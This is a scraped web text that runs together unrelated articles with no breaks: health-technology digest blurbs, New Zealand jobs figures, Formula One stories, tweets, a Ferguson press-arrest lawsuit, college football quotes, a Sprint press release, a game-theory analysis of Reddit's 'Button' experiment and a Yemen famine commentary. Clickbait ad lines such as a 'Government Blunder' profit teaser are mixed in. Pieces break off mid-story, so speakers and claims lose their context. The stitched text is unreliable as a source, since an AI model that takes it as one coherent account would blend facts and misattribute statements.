“[Hessel] thinks 2026 for a fully engineered human genome is realistic if synthetic biology follows an exponential pace like genome sequencing did. ‘So, a new race is starting, ladies and gentlemen,’ [he] said…‘It’s still in the organizational phase, but it’s going to accelerate, and guaranteed, by 2026, we’re going to succeed.’ ”
3 DNA Technologies That Will Forever Change Your Home Life
“Today, anyone can have their entire genome sequenced in 12 hours for $1,000, and companies are racing towards a future where sequencing a complete human genome costs just $100. McCauley predicts that in 2018, the cost of sequencing a human genome will be under $20, or the cost of a delivery pizza. By 2022, it’ll be the same cost as flushing a toilet.” –Sveta McShane
Read more about biotech here.
How We’ll Stop Future Pandemics? Engineer Vaccines From the Ground Up
“As genomic sequencing, computer power, and protein engineering advance and converge, Poste envisions a world capable of a very rapid and wide-scale response to future viral threats.” –Jason Dorrier
VIRTUAL REALITY
How to Train Thousands of Surgeons at the Same Time in Virtual Reality
“In April of 2016, [Dr. Shafi Ahmed] live-streamed a cancer surgery in virtual reality. The procedure, a low-risk removal of a colon tumor in a man in his 70s, was filmed in 360 video and streamed live across the world. The high-def 4K camera captured the doctors’ every movement, and those watching could see everything that was happening in immersive detail.” –Sveta McShane
NANOTECHNOLOGY
Detecting Cancer Early With Nanosensors and a Urine Test
“Imagine a sensor so small it could circulate around the body, find cancer, then send a signal to the outside world. Bhatia thinks nanotechnology can get us there. Hundred-nanometer particles (one thousand times smaller than the thickness of a human hair) are injected into a blood vessel…The particles then detect enzymes that tumors make as they’re invading.”
GLOBAL HEALTH
5 Billion People Need Better Healthcare — Technology Will Help Deliver It
“If technology can democratize healthcare, why not start with one of the most challenging cases? Can a hospital in Burundi serve as a platform to show the world that innovation and technology can exponentially improve the wellness of the global majority?” –Vanessa Bates Ramirez
CYBERSECURITY
Health Devices Are All Too Hackable—Here’s What You Need to Know
“Marc Goodman asked the room, ‘Who here likes big data and analytics?’ Everyone raised their hands. To which he responded, ‘Criminals love big data and analytics too.’ Today in healthcare, there are a few key security threats that patients, practitioners, and hospitals all need to be aware of so they can take measures to prevent them.” -Alison E. Berman
New Zealand is more than just dairy prices, Economic Development Minister Steven Joyce said on Wednesday, after a surprise sharp drop in unemployment.
Unemployment fell sharply to 5.3 per cent in the December quarter, from 6 per cent in the September quarter, taking it to the lowest rate since March 2009.
It surprised economists who were expecting a figure of about 6.1 per cent.
Employment was also solid, up 0.9 over the quarter, an additional 21,000 jobs. That lifted the annual employment growth rate to 1.3 per cent and confirmed recent surveys of employers' hiring intentions.
READ MORE:
* Unemployment may rise
* Unemployment may have peaked - ANZ
* Migration expected to stay strong, stoking unemployment - Westpac
Wage inflation was low, up 1.5 per cent in the last year, a level not seen since March 2010.
Joyce said it was particularly gratifying to see strong falls in unemployment in many regions.
Tourism and education were booming, construction's strength was spreading and there was growth in other areas like ICT, beef, wine, horticulture and manufacturing.
"I think it probably points out that, not withstanding we've got challenges in the dairy sector, that actually New Zealand is much more than dairy, and we've got a much broader range of industries," Joyce said.
Statistics New Zealand said employment was especially strong for 20 to 29 year olds, with 26,800 more people in that age group hired over the year, a number of them in construction.
Nationally, construction created 27,500 more jobs last year, followed by 20,800 extra jobs in the technician and trade worker category.
But the biggest difference to the unemployment figures was not the rise in employment but a steep drop in workforce participation.
It fell 0.3 percentage points to 68.4 per cent of the working age population, thanks to a lift in the number of people retiring or at home for reasons other than childcare.
"Taken at face value, this report suggests that the New Zealand labour market is in better shape than we gave it credit for," Westpac senior economist Anne Boniface said.
However, because it was unusual to see employment grow when workforce participation was falling, economists warned it could be a statistical quirk.
"Wage pressures remain weak, and are slowing. This suggests that there still exists a degree of slack in the labour market and that wage inflation will remain slow for some time yet," said ASB economist Nick Tuffley.
Infometrics' Mieke Welvaert said that although she believed the figures overstated the strength in the labour market, it also confirmed that the previous quarter's figures had exaggerated its weakness.
"With export prices falling and global uncertainty rising, further declines in the unemployment rate are unlikely during 2016."
Joyce, who is also Tertiary Education, Skills and Employment Minister, was also pleased to see lower levels of Pacific, Maori and youth joblessness.
Pacific unemployment was its lowest in seven years and the youth "not in employment, education or training" (NEET) figure was the lowest since September 2008 at 10.9 per cent.
The NEET figure for 15 to 19 year olds was even lower, at 6.5 per cent, the lowest since records began in 2004.
"If you look behind that, it's actually more people in education and that's encouraging because we've put a lot of programmes together - trades academies, youth guarantee, the youth services - to ensure that 15 to 19 year olds don't fall out of the education system."
Speaking before the figures came out, Prime Minister John Key said employer confidence was on a high.
"If you look at what we've seen out of the current data, hiring intentions are very strong at the moment," Key said.
"We've seen that indication that employers are wanting to take on more staff, the economy's been creating jobs at quite a rapid rate, and we have the third-highest employment rate in the developed world.
"A series with former drivers is a good idea," says Ecclestone. "We have talked about it and it is something we ought to do. Many of these old drivers are still absolutely good enough. You would put them in the cars they used to drive."
It is one way of dealing with the controversy surrounding the quieter V6 engines which have been introduced to F1 this year. Ecclestone of course has been one of the most vocal critics of the new engines so a return to the V10s or V8s from yesteryear would obviously please him. Former driver turned television commentator Martin Brundle believes it would also go down a storm with fans.
"A well structured F1 masters series would be very popular with drivers and fans, and therefore TV and new media channels and sponsors too," says Brundle. "Whatever the format I'd want to be part of it especially if it was supporting the F1 calendar."
Ferrari race-winner Gerhard Berger adds "I am sure that it will be successful and that all former drivers would like to participate."
One big question is whether the former stars would be prepared to take the risks that come with a return to racing. "To attract the household names of decades past I suspect the cars would need to be safer and less physical to drive," says Brundle. Britain's 1996 world champion Damon Hill adds that "most old drivers want to get home to bed early with a good book."
The core of a solution to the problem comes from Eddie Irvine, who almost won the title for Ferrari in 1999, and says that the format of the series could be "along the lines of Goodwood or a handicap system."
Fans aren't the only ones who would welcome a masters series. It would also boost F1's income which would no doubt please CVC, the private equity firm which controls the sport.
The plans came to light through a European trademark application which was filed in February by Formula One Licensing to protect the name 'Historic Formula One'. The application covers the category including sporting events which is an important step in the preparation of a race series as it gives ownership to the name.
It isn't the first time that a trademark has revealed plans for a new series. In September 2008 Pitpass revealed that F1 would launch GP3 and the following month it was officially announced.
There is good reason why the concept of an F1 masters series may not sound completely new. A similar series, known as Grand Prix Masters, was launched in 2005 and featured ex-F1 drivers over the age of 40, competing against each other in 3.5-litre spec single-seaters. It held three races - in South Africa, Qatar and at Silverstone, which was won by Eddie Cheever. The series was shut down in 2007 after failing to pay its bills. With F1's resources behind it however it isn't likely that its masters series would share the same fate.
There is also somewhat of a more successful precedent than Grand Prix Masters which shows the interest in the concept.
Although there is no masters series for former F1 drivers, there is a series called Masters Historic Racing which allows the owners of classic F1 cars to compete against each other. They visit ten historic tracks including Brands Hatch, Silverstone, Spa and the Nurburgring. Its championship is known as the 'Historic Formula One Championship' and F1 licenses the name to it.
Is Obamacare Hurting Your Wallet? Vote in Poll
And from the heavens descended our savior in box form to rescue us from finals @poptarts411 Thanks for the #CrazyGoodPB !!!!!!! — Jordan Taylor (@JayTay317) May 13, 2013
No way... There are peanut butter poptarts now😍😵😛 — Derek (@derekJclough) May 13, 2013
ALERT:
Government ‘Blunder’ Spawns Massive Profit Opportunity
As the chief mechanic, Baker has huge responsibilities in ensuring Lotus’s cars are in top shape all weekend.
“My role is to make sure that the specs of the two cars of Romain Grosjean and Pastor Maldonado are correct,” he says. “It’s also sorting out faults with cars, as well as the everyday management and dispatching work for the guys.”
He confirmed that a real love for the sport is essential to work in F1, where the demanding 19-race global calendar means plenty of long-haul flights as well as gruelling weekend schedules.
“You got to be passionate about motorsport for sure,” he adds. “If you want to work in F1, you have to be very highly motivated. You need to be able to work quickly, under pressure, and to make precise decisions as we have a limited time to work on the cars.
“It’s also 19 Grands Prix a year, and being away some 180 days out of the country.”
Baker believes that times have changed for the current breed of mechanics, compared to bygone eras.
‘The job has changed incredibly,” he confirms. “We travel a lot, we spend 10 hours in airplanes travelling economy class, and then there’s jetlag.
“Fifteen years ago you’d finish your work and go out to have a beer; whereas now, the guys finish and ask to go for a run or go to the gym. It has become more of a business now.
“The new generation of mechanics are not athletes yet, but physically they are very fit.”
A typical Grand Prix weekend
The garage is set-up in time for the cars and equipment to be delivered to the track. For the rest of the opening day, the mechanics are busy putting the cars together with all the correct components.
“If it’s a European race, we travel early Wednesday morning and normally get to the circuit around 2 pm,” says Baker. “We can be there until 11 pm as there is no curfew on Wednesday night. We try not to leave things for the Thursday.
“We then fire up the engines on the Thursday morning, and check all the systems.”
The cars are taken to technical inspection, with their Mercedes V6 power units and gearboxes installed, ahead of Friday’s running.
The mounted tires are collected from Pirelli and regrouped in sets. The drivers and engineers walk the track, while the Lotus E23 Hybrids are checked one last time by mechanics.
Then it's Friday, the first day of track action – with two 90-minute sessions of free practice.
“We usually leave the hotel around 6:30am,” he adds. “It is the busiest day of the weekend for us. We’ll probably work right until the curfew.
“We rebuild the cars at the end of FP2. We fit a race engine and a race gearbox in each car. There are also parts to swap around, and certain suspension pieces that we change because of the mileage we put on them.
“If you’re working up to the curfew, you’d be back at the hotel and get four, five hour’s sleep, and then you’re back into it again.”
The mechanics leave the hotel around 7:30am on Saturday morning and get straight into it at the track.
“The gap between FP3 and qualifying is extremely small. We need to install race exhausts, race brakes, that kind of stuff. Each circuit requires different things.
“If you get to Q3, you get the cars from parc fermé, and then you have an hour and a half to look at the cars, take the floors off, make sure they are OK, and have them rebuilt so that they look like F1 cars.
“The parc fermé procedure has made a huge difference. Going back a few years, we’d arrive on the Thursday and basically work non-stop until the Sunday night. There were several engine changes to perform, plus taking care of the third car.
“It’s a lot more regulated nowadays. At least we get some sleep now.”
Sunday is the main event
The parc fermé procedures mean that Sunday mornings aren’t as hectic than times gone by, with no warm-up session to complicate matters.
“We make sure everything’s ready, have a good look at the cars, make sure everything’s fine,” says Baker. “We cannot really work on the cars, but we can have a good look at them.”
During the race, the mechanics stay on their toes in the garage and execute tire changes. But their work doesn't end at the chequered flag.
“After the race is over on Sunday, we generally have about eight hours of work ahead of us. We pretty much strip the cars. Everything goes back to the factory in Enstone. To strip these completely takes a good four hours of work.”
For obvious reasons, the two long breaks during the year – in December and August – are welcomed warmly by the weary mechanics.
“The good thing about F1 is that we know all the dates in advance, so we can pretty much plan our whole year,” Baker concludes. “The guys know exactly when they’ll have time off.
One of the individuals arrested, however, was not a protester. He was a journalist from Washington D.C. named Trey Yingst, and I was standing around 100 feet away when he was arrested. An on-scene commander named Lt. Lohr informed me that Trey was charged with failure to disperse (from the street) despite the fact that hundreds of witnesses saw him taken into custody while standing on the sidewalk.
Now, Trey is fighting back in federal court. The ACLU of Missouri has filed a civil rights action on his behalf. Mr. Yingst wants to make sure others' rights won't be violated as his were. When I spoke with him after the lawsuit was filed, he stressed deterrence as his primary motivation: "I'm not looking for any money out of this, I'm not looking for any fame. I'm really just looking to see that this doesn't happen to me again, and that it doesn't happen to other journalists."
It was evident as soon as Mr. Yingst was arrested that a court challenge was likely. Just one day before his arrest, a federal court order secured by the Missouri ACLU:
Ordered that Defendant County of St. Louis, Missouri, its officers, agents, servants, employees, attorneys, and all persons under their supervision, or within their control, are permanently enjoined from interfering with individuals who are photographing or recording at public places but who are not threatening the safety of others or physically interfering with the ability of law enforcement to perform their duties.
The Legal Director of the ACLU of Missouri, which is representing Mr. Yingst, spoke with me about the importance of using litigation as a tool for police accountability:
The Constitution secures important rights for the press and citizens and the injunctions we have obtained against St. Louis County make clear that those rights include they very protected activity that Trey was engaged in when he was arrested. If Lt. Vollmer and St. Louis County insist on ignoring the constitutional rights of the public and defying court orders, then we will resort to lawsuits like this one to hold them accountable.
St. Louis County has a history of disregarding citizens' constitutional rights. Within days of the shooting of Michael Brown, the County was sued for violating Missouri's open records law. That same week, another suit was filed against St. Louis County for arresting journalists and citizens who chose to film the police in public settings. Another lawsuit challenging the police practice of arresting protestors who remained stationary for more than five seconds while protesting was also necessary, and resulted in an injunction.
Clemson head coach Dabo Swinney and Florida St. Jimbo Fisher have each been outspoken on the strength of the ACC the last few seasons, but Swinney took it a step further Monday when he said he knew his team could beat Ohio St. after watching tape of the Big 10 in preparation for Clemson's Fiesta Bowl date with the Ohio St. Buckeyes.
At the ACC Football Kickoff in July, Fisher bragged about the strength of the league.
"Well, I would say two of the last four national championships have come from here -- we've played for three of them," Fisher said. "[The ACC is] 8-3 in playoff games and Power Five major bowl games, we're 8-3; nonconference records against the SEC, the Big Ten and everybody else, we have the winning record Power Five wins. You have two Heisman Trophy winners, also the runner up last year. The coaches, you have six coaches in the top 20 and all-time winning percentage in college football."
Swinney agreed with Fisher's comments.
"There's one conference that had a winning record versus Power Five teams [in 2016]: the ACC," Swinney said. "One conference had a winning record versus ranked teams: the ACC. We had 11 bowl teams. We were 10-4 versus the SEC. There's a reason why we have played so well.
"We've won five bowl games in a row, and you know, I mean, it's not because I'm some great coach. I've got a good staff and all that. We've had good players. It's what we practice against every day, and it's what we play against week in and week out."
Swinney added to his comments Monday. During an interview with Walt Deptula on WCCP-FM, Swinney said the ACC's strength of schedule has been a big part of Clemson's success. He added that he knew Ohio St. was in trouble when he watched the Buckeyes' game film.
"That's another reason why we've been so successful. Nobody wants to talk about that. Go back to last year. We're (college football) trying to figure out a way to get four Big Ten teams into the Playoff," Swinney told Deptula. "And let me tell you, if they could have figured it out they would have done it. And I didn't pay any attention to the Big Ten. You just kind of buy it, right? That is just what is out there. And we get ready to play Ohio St., and I am watching film, and I watch every single game. And when I was done I go into my team and I say, 'Boys, these guys are in trouble. I've watched the whole league and I've watched both sides of the league, and these guys are in trouble.' And that's what happened. That's a credit to our league. That's why myself and Jimbo and some of these other coaches are quick to point it out."
Clemson defeated Ohio St. 31-0.
Sprint Selects Samsung and HTC for Windows Phone 8 Launch with Truly Unlimited Sprint 4G LTE
LAS VEGAS--(BUSINESS WIRE)--Sprint (NYSE:S) today joined with Microsoft to announce the upcoming availability of Windows Phone 8 smartphones on the Sprint nationwide network. Sprint will bring two initial handsets to customers by summer – one each from Samsung and HTC.
"Sprint has had a strong relationship with Microsoft for many years so we are excited to reinforce our commitment to the Windows 8 platform by sharing the details and timing for our first Windows Phone 8 smartphones"
Sprint is the only national carrier with Truly Unlimited℠ 4G LTE data, text and calling to any mobile with no metering, no throttling, and no overages. Sprint will bring the unlimited data experience to Windows Phone 8 with Sprint's Everything Data plan with Any Mobile, AnytimeSM including unlimited Web, texting and calling to and from any mobile in America while on the Sprint Network, starting at just $79.99 per month. This is a savings of $20 per month versus Verizon's comparable plan with unlimited talk, text and 2GB Web (excludes taxes and surcharges).
"Sprint has had a strong relationship with Microsoft for many years so we are excited to reinforce our commitment to the Windows 8 platform by sharing the details and timing for our first Windows Phone 8 smartphones," said Fared Adib, Sprint senior vice president, product development and operations. "These smartphones combine a robust new operating platform with the benefit of Sprint's unlimited data plans. There is no doubt these phones will quickly become an extension of your PC experience right in the palm of your hand."
Both the Samsung and HTC smartphones will offer Sprint 3G and 4G LTE and impressive lists of features including dual cameras enabling video chat, dual-core processors for enhanced internal speed between applications and support for expandable external memory. Additional device details, including pricing, will be shared closer to their availability dates.
Windows Phone 8 offers a truly personal phone experience, connecting Sprint customers to the people and information that matters most to them. With a similar look and feel, the same technology core, and the same built-in SkyDrive cloud service, Windows Phone 8 is built to work seamlessly with Windows 8 PCs, Microsoft Surface devices and the Xbox 360 console.
"We're looking forward to bringing two new Windows Phone 8 devices by Samsung and HTC to market with Sprint this summer, adding to our strong Windows Phone 8 portfolio," said Terry Myerson, Corporate Vice President of the Windows Phone Division. "These devices, coupled with Sprint's unlimited 4G LTE data experience, will make it easy for Windows Phone 8 customers to have the most personal smartphone experience possible, wherever they are."
Reddit, as we know, has an enormous amount of web traffic. A button appeared on Reddit on April Fools day. It was accompanied by a simple timer. Whenever someone presses the button, the timer resets to 60 seconds, and starts counting down. Every user/account created before April 1st on Reddit had a single chance t0 press the button. This meant the number of possible clicks on the button were finite. If the timer hits zero and runs out, the game ends and the button would not respond to any more presses.
Users who pressed the button ("pressers") got a color flair depending on the exact timer value (0–60 seconds) when they pressed it.​
&amp;lt;img src="http://static.digg.com/images/f1a5c47529c546fb9b2b81b542333292_e9cecd4e959c4105bdc89b0cc633fe68_1_post.jpeg" alt="" /&amp;gt;
The purpose of the button has been widely debated in press. Was is it an experiment to check if we can wait for a minute ? Was it an art project? A way to show advertisers how engaged the user base is? An existential representation of life? Can it be a lesson in for public policy? Why is society so fascinated that they can’t wait to press it? Should we be worried about this? What does it all mean… especially when over ONE million netizens have pressed the Button; given seemingly zero associated reward incentive.
What can a pointless Button tell us about how our beliefs and ideological theories survive in today’s competitive environments? A lot, actually.
This post is not a revelation of the grand theory for the button — why it was born or what happened when it died. I doubt even the Reddit mods know that. Instead, I show that analyzing the click data provided by Reddit indicates that the evolution of community strategies around the button mimics aspects of biological evolution in competitive environments. User reaction, interaction and community formation around the fictive purpose of the button directly leads to this result.
The Button is a massive psychological and social experiment, probably the biggest ever of its kind on the Internet. Insights we can extract from this data are useful in various scenarios, from gamification in your app to understanding how very simple rules can actively engage (even obsess) online communities.
For those who haven’t been following the entire story, several color-coded communities, coalitions and cults had mobilized on Reddit with specific missions for the Button. Overall these rivalries lay in a spectrum between: (1) prolong the life of the button or (2) expire the button as quickly as possible. Here are some of the button coalitions based on the pressed timer values (or color flair):
&amp;lt;img src="http://static.digg.com/images/93a276437e5e4d468a149ab127f1ef71_e9cecd4e959c4105bdc89b0cc633fe68_1_post.png" alt="" /&amp;gt;
As the button presses dwindled there was murmur of the imminent Pressiah — the last person to press the button before the timer expires. Apparently, scientists on Reddit had warned that one of the bots could become the Pressiah, which is incredible to think what happens when a machine makes the final push. Was the Pressiah a bot?
Here are the three overarching questions surrounding the Button game:
1) How long will the button survive? Why were estimates made from initial data so off, and why did it not survive the entire duration of what’s mathematically possible.
2) Why did ad hoc communities and coalitions form in the game? Do redditors have a natural propensity to cooperate, or did the game design generate partial cooperation as an unintentional by product.
3) What was the impact of BOTS and ZOMBIES playing the game ? Because you know, every digital community has its share of bots who "engage."
To answer these questions, I will use the time series of button presses data released by Reddit, which essentially contains the <press_time> and <flair_received> for each of the ~1.008 Million presses. I do not have the user info related to each press. Remember, for the button to survive, it must receive at least one click per minute.
Life Of The Button
There were many predictions as to how long the button would survive. 1) If we discount the fact that there are co-presses, that people are not always rational and there is only one universal strategy (to extend button life), then the mathematically ideal lifetime of the button is N*59, where N is the # of Reddit active user accounts created before April 1. This end-date would be a whopping 15 years, October 30, 2031 to be exact! 2) We know ~1M people pressed the button. In fact, even if all of the ~1 million pressers had decided to wait for a zero sec press, this button would have lived till March 1, 2017!
Other predictions tried to use a saturation model to extrapolate the clicks/minute on the button based on the initial data. The decay in the number of clicks predicted that the button would expire within 12.3 days, i.e. on April 13th. This exponential decay model went wrong because it failed to account for the other competing strategies from different flair coalitions.
In reality, the button lived from April 1 to June 5th and accumulated around ~1 M presses over its lifetime. However, almost 30% of the all clicks on the button occurred within the first 24 hours of inception.
&amp;lt;img src="http://static.digg.com/images/778bcb6fbab149c786fec15f7428664a_e9cecd4e959c4105bdc89b0cc633fe68_1_post.png" alt="" /&amp;gt;
In fact, within two days 50% of the pressers had already clicked it. In a span of one fortnight since launch, 75% of pressers had a colored flair.
The button would still survive for another 50 days, contrary to the predictions. Just 10% of the pressers sustained it during the entire of the last month. This is simply staggering, because it hints at the possibility of strategic cooperation in a set of users who were not fundamentally amassed to cooperate. Without cooperation and formation of coalitions to pre-plan button presses, the life of the button would have expired significantly earlier.
When the button finally expired on June 5th, it was 65 days old. Here is a chart of how the different flair pressers clicked the button over time.
&amp;lt;img src="http://static.digg.com/images/feb2758897ee4b85ba9af420b2b8d818_e9cecd4e959c4105bdc89b0cc633fe68_1_post.png" alt="" /&amp;gt;
It is not surprising to see the lower value flairs (more prized) did not flourish in the early days. In fact, the rise of each flair curve follows the exact order as the color ranks in the flair guide, i.e., yellow leads orange because yellow (32s-22s) comes before orange (22s-12s).
Most people believe the Button is a massive social experiment, which is probably true. But it is a much bigger experiment in collective decision theory — the strategy of when to press it. To understand the strategic decisions made by different flair coalitions in the game, we must dive deep into Game Theory.
So, how can we frame this problem in terms of Game Theory? By assuming each colored flair line that you see above is a strategy. Unlike casual usage, a “strategy” in game theory does not necessitate previous knowledge or interaction among individuals to decide on it. Two independent yet identical choices still belong to the same strategy. So all presses that fell into one flair color can be considered a strategy of its own.
Strategies And What Cooperation Means
I first tried to simulate the game and analyze button pressing strategies by drawing parallels to the "centipede game," a classic game theory problem. You might think the name of this game carries some deeper meaning but it really does not. In a centipede game model, the sequence of decision patterns in the game looks like a centipede, thus its name. My first task was to figure out the utility of a single press. We could formulate it as inversely proportional to what the press-timer value is. So if you pressed at 59 secs, your utility could be 100/(1+59) ~ 1.667. If you pressed at zeroth sec, you would gain an utility of 100.
&amp;lt;img src="http://static.digg.com/images/7c34c9858ace4c2a8ebd0d3675c21499_e9cecd4e959c4105bdc89b0cc633fe68_1_post.png" alt="" /&amp;gt;
Every Nash Equilibrium (NE) in this game is known to possess the feature of first-stage defection with sub-game perfect equilibrium, i.e. theory suggests there will be immediate defection and zero cooperation. The game should continue to future stages. This solution is uniquely rational. It is what Classical Game Theory (CGT) tells us to expect.
However, we see that the flair press data for the button differs from this theory i.e. first-stage defection (press immediately or at 59) is certainly untrue for most of the latter 70% pressers beyond the first 2 days. If the centipede game and Nash Equilibria held, then we would have seen zero cooperation. The button would have expired in less than a week, because users would have pressed it immediately (assuming all users did not learn about in on the first day). But this is hardly true for the data. And in fact, it is known to scientists that experimental results of the centipede game deviate wildly from these theoretical prediction (> 50% times), i.e. players instead choose to cooperate. Thus, CGT does not provide us any explanation for the existence of partial cooperation in the Button game.
When the evidence changes, theories must also change. We need a new theory of why cooperation occurs in the Button game. Scientist suggest that deviations from the NE occurs due the possibility of "reputation" and/or incomplete information in the game.
The Game Has Changed
A cooperative game is a game where groups of players (“coalitions”) may enforce cooperative behavior, hence the game is a competition between coalitions of players, rather than between individual players.
There are four critical design patterns in the game which lead to partial cooperation instead of first stage defection (as predicted by NE):
1) Finite population of players (Stochastic evolution in finite populations need not select a strictly dominant strategy, hence the "classical" need to kill all alternatives strategies other than the dominant is invalid).
2) Belonging to a flair and the flair color-ranking (the concept of reputation, first reason to not defect in centipede games)
3) Simultaneous presses all get same flair (meaning both players can defect and split rewards, increasing chances of cooperation)
4) Players are unaware of each other’s flair allegiance (incomplete information, second reason not to defect in centipede games)
So if CGT does not explain the data, what does? Remember we only have the "when-pressed" data (frequency of clicks) available to us (as opposed to the who-pressed). So why do I think the frequency of presses is important? Because it lets us model the problem in terms of Evolutionary Game Theory (EGT) — where we can study how strategies evolve over time. EGT differs from the classical version by focussing more on the frequency with which each strategy is adopted by the population instead of overall number of competing strategies.
Evolutionary Game Algorithms not only consider the number of competing strategies as parameters, but also what percentage of the population adopted each strategy and how the sequence of adoption affects subsequent strategies.
I will skip the math for brevity and borrow some results from EGT. First, according to EGT there be several evolutionary paths, and the sequence of adoption of strategies and the numbers that adopt each strategy are critical in deciding where the final equilibrium will arise. If the population is finite, the evolutionary paths can "get stuck," where the population exhibits partial cooperation leading up to the equilibrium. Thus, many strategies will be born and will die before the final dominant strategy takes over and the final equilibrium is found.
&amp;lt;img src="http://static.digg.com/images/d3eb8127ca7649bcaf3c31af2ada24f9_e9cecd4e959c4105bdc89b0cc633fe68_1_post.png" alt="" /&amp;gt;
To simulate the evolutionary strategies, I used a simple genetic algorithm that determines dominant strategy among the six flairs (more later on how to calculate this). I then fitted an exponential trend-line for the points in each of the flair categories. The trend-line represent the rise of the strategies over time. If you run the algorithm, the result shows the game reaching an equilibrium ~52 days since onset.
Just like NE of the CGT case, at this final equilibrium point here in EGT — the game is supposed to end. The final dominant strategy (red) has taken over and there is no newer competing strategy. This is when and where the evolutionary paths would have reached the equilibrium. So at this point, the game should have ended. This is where the button should have died. In fact, it did…
...and this is when the first zombie bot saved The Button.
Zombie Bot Salvation
&amp;lt;img src="http://static.digg.com/images/a8e8b0a044124001b5b2f792a181913f_e9cecd4e959c4105bdc89b0cc633fe68_1_post.png" alt="" /&amp;gt;
A red flair coalition called the "Knights of the Button" had created The Zombie Project— a group of users who donated their reddit accounts so that the presses can be performed at precisely the zero second tick by a server at some undisclosed location. Some of these reddit accounts had been “shadow banned” where their activity invisible to all other users. Knights members, however, realized that such accounts could still press the Button. This zombie army could theoretically save the button every time it was about to die.
So on May 23rd, 52 days after origin, the button timer did hit zero — just as the EGA predicts. And it was precisely at this moment that the Knight’s Zombie count reduced by one, saving the button with a zero-sec press. It appears more than 1000 zombies rescued the button at various instances between the 52nd and 65th day. But since zombies cannot count we will never know how many there actually were. The Necromancer, who built the zombie bot army, claimed that less than 10% of the available zombies had been exploited till June 5th.
So why could the zombies not protect the button eternally? Because one of the zombies was not qualified. This is also why zombies need background checks before getting enlisted. But for now, let’s talk a little more EGA. How did we come to decide which strategy is dominant and how it fits EGT. Why does sequence matter?
Evolution In Cooperative Games
The beauty of coalitions is that although cooperation proceeds jointly, the individual action of pressers are chosen independently and non-cooperatively. At the individual level, the incentive still is to get a lower flair for Internet status symbol. In fact we can see this in the data. Notice the similar pattern over each flair category for the press-times. If we look at the pressed time within each flair (Pressec), we see a rise in presses towards the boundaries of each flair. More community members press when they enter a new flair.
&amp;lt;img src="http://static.digg.com/images/b0d45561c276478788895203006a8d4a_e9cecd4e959c4105bdc89b0cc633fe68_1_post.png" alt="" /&amp;gt;
The critical aspect to understand here is that in EGT, unlike CGT, weakly dominated strategies are not eliminated immediately. Instead, such games tend to have a sequential structure where one coalition will choose its action followed by another coalition — which is why we see one flair strategy take over from another as time passes by.
Also according to EGT, this dynamic will not carry the game directly to some unique equilibrium. Instead, it can carry the the population through series of stages, brought upon by the elimination of the current dominating strategies. This is evident if you look at the green, yellow, orange and red flair strategies. Certain strategies will become weak and go extinct (and in effect that population might die out, which is exactly what we see in the graphs).
&amp;lt;img src="http://static.digg.com/images/69bf7678076944a3b86acf3a89c85176_e9cecd4e959c4105bdc89b0cc633fe68_1_post.png" alt="" /&amp;gt;
Hence, the current dominant strategy in one phase eventually dies and a new strategy arises quickly, which in turn becomes dominant and gets eliminated in time. When certain strategies go extinct, whats left is the final dominant strategy — in this case, the Red.
You can also calculate that red is the final dominant strategy using a simple algorithm. It is just a fancy way of representing that the dominating strategy of each user is the strategy where the utility is greatest:
&amp;lt;img src="http://static.digg.com/images/508fb34a59ba4e80920c827d2ece58c0_e9cecd4e959c4105bdc89b0cc633fe68_1_post.png" alt="" /&amp;gt;
How long does each intermediate strategy phase last? The time it takes a new strategy to take dominance over the previous one in this case is approximately ~11 days. Every time. This constance can be attributed to similar size of the population, the length of the overall game and the initial state of the population. Yellow, orange, green and red flairs all had similar size of participants (12K ~ 14K) and they were all initially were suppressed in the non-cooperative stage.
This is what evolution does — it tests alternative strategies for the utility to survive and selects dominant one after several phases.
Button Dies Due To Robot Zombie Malfunctio n
When we choose unqualified zombies, we lose. As the Knights of the Button obtained thousands of zombie reddit accounts, one failed because it was created after April 1. Apparently the software was designed to only check if a zombie candidates had previously pressed the button; not when if it was created after the game began. Thus, without this programming bug which made a zombie invalid, the button would have lived longer. Pro tip: Background check your zombies !
People are saying the Button is meaningless, but that’s not the point. The Button isn’t supposed to do "what we expect" — and therein lies its greatest ulterior hallmark and what makes it such a compelling social experiment.
This post originally appeared on Medium.
The U.S. initially entered Yemen through a quiet drone program in 2009 to combat the rise of a peculiarly powerful branch of al-Qaida. When Yemen was destabilized by Arab Spring protests in 2011 that sought to oust the nation's dictator of more than 30 years, America was instrumental in orchestrating a U.N.-supported democratic transition. But the change of administrations did not go so well, calling to mind a Congolese expression more apt for what Yemen was about to experience. Yemen was in the throes of a “demonic transition.”
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A long-simmering rebellion by the Houthi ethnic minority managed to oust the unpopular new administration, and the Houthi then allied themselves with the previous dictator, whom they had just been fighting. Then, in the poorest state in the Arab world, suffering from chronic food shortages and a dwindling water supply, with a youthful population afraid for the future of their already collapsing state, things really went south.
The Houthis are Shia Muslims, which made Arab Sunnis uncomfortable. The climate of instability was perceived as a danger to Western states like the U.S. and U.K. Thus, they all joined together under Saudi leadership to put down the rebels and bring back the second internationally recognized dictator, who had been installed following the Arab Spring protests. The idea was that a less tainted regime might better stabilize the country and work with the West to put down al-Qaida militants.
Most Americans ignored what was happening under the quiet leadership of the Obama administration. For it seemed at the time to be a decent and sensible, if somewhat questionable, game. The only problem was that the Sunni Saudi regime was already engaged in a proxy war with Shiite Iran in Syria. The Iranians were working hand in glove with the regime of Bashar al-Assad, massacring mostly Sunni civilians in genocidal proportions. The Saudis were about to do the same.
Most American antiwar activists had bigger fish to fry in Syria at the time. And those who focused on Yemen had become obsessed with the drone war, which was new and controversial, though it had a relatively low impact. But beneath the radar, the Saudis had begun blockading and bombing the ports of an already malnourished country that must import 90 percent of its food.
Saudi warplanes bombed the bridges and roads. They bombed food processing plants and aid warehouses. They bombed wedding parties and apartment buildings. And while the Obama administration curtailed arms exports to the Saudis, negotiated ceasefire agreements and chastised Saudi forces in public, humanitarian organizations began to warn of a famine that could kill millions.
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That was this last fall, when a Yemeni child was dying of hunger-related illness every 10 minutes or so. But as fall turned to winter and perhaps the most ignorant and callous president in American history entered office, the forced famine that had begun under a Saudi leadership, partially restrained by the Obama administration, descended into a hellish nightmare in which children are dying in the tens of thousands.
Now millions of lives were at risk in Yemen, as famines appeared in Somalia, South Sudan and northern Nigeria as well. Meanwhile, what a U.N. representative would dub “the worst humanitarian crisis since 1945” was just making its way to the back pages of the newspapers, as the drama of the Trump presidency took center stage. When Yemen finally did make the news, it was Trump’s botched Navy SEAL operation that most interested the public -- not the millions of civilians his administration was helping to starve.
